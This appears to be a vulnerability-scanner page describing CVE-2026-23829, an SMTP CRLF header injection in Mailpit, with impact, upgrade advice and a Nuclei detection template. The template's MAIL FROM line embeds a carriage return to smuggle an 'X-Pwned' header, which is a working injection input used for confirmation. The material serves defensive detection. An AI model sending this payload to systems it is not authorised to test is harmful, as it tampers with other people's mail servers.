Mailpit < 1.28.2 - SMTP CRLF Injection

mediumseverity

5.3CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Mailpit < 1.28 contains a header injection caused by insufficient regex validation of `RCPT TO` and `MAIL FROM` addresses in the SMTP server, letting attackers inject arbitrary SMTP headers, exploit requires crafted email addresses

Impact

An attacker can inject arbitrary headers into captured emails, corrupt existing headers like the Received header, and generate malformed .eml files. This violates RFC 5321 which forbids control characters in envelope addresses.

Fix

Upgrade Mailpit to version 1.28.3 or later which updates the regex to explicitly exclude all ASCII control characters (\x00-\x1f) from email addresses.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: matches /(?m)^220(?:[ -]|$)/ AND not matches /(?m)^(?:500|501|553)(?:[ -]|$)/

Run it with nuclei: nuclei -id CVE-2026-23829 -u <target>

The full check

id: CVE-2026-23829

info:
  name: Mailpit < 1.28.2 - SMTP CRLF Injection
  author: omarkurt
  severity: medium
  description: |
    Mailpit < 1.28 contains a header injection caused by insufficient regex validation of `RCPT TO` and `MAIL FROM` addresses in the SMTP server, letting attackers inject arbitrary SMTP headers, exploit requires crafted email addresses
  impact: |
    An attacker can inject arbitrary headers into captured emails, corrupt existing headers like the Received header, and generate malformed .eml files. This violates RFC 5321 which forbids control characters in envelope addresses.
  remediation: |
    Upgrade Mailpit to version 1.28.3 or later which updates the regex to explicitly exclude all ASCII control characters (\x00-\x1f) from email addresses.
  reference:
    - https://rosecurify.com/advisories/RO-26-002-mailpit-smtp-header-injection/
    - https://github.com/axllent/mailpit/security/advisories/GHSA-54wq-72mp-cq7c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-23829
    epss-score: 0.01402
    epss-percentile: 0.72752
    cwe-id: CWE-93
    cpe: cpe:2.3:a:axllent:mailpit:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: axllent
    product: mailpit
    shodan-query: title:"Mailpit"
    fofa-query: title="Mailpit"
  tags: cve,cve2026,tcp,crlf,smtp,mailpit,

tcp:
  - inputs:
      - data: "EHLO {{Hostname}}\r\n"
      - data: "MAIL FROM:<attacker\rX-Pwned:{{randstr}}>\r\n"
      - data: "RCPT TO:<[email protected]>\r\n"
      - data: "DATA\r\n"
      - data: "Subject: Test \r\n\r\nCombined Template Check.\r\n.\r\n"
      - data: "QUIT\r\n"

    host:
      - "{{Hostname}}"
    port: 1025
    read-size: 2048

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^220(?:[ -]|$)'
          - '(?m)^250(?:[ -]|$)'
        condition: and

      - type: regex
        regex:
          - '(?m)^(?:500|501|553)(?:[ -]|$)'
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from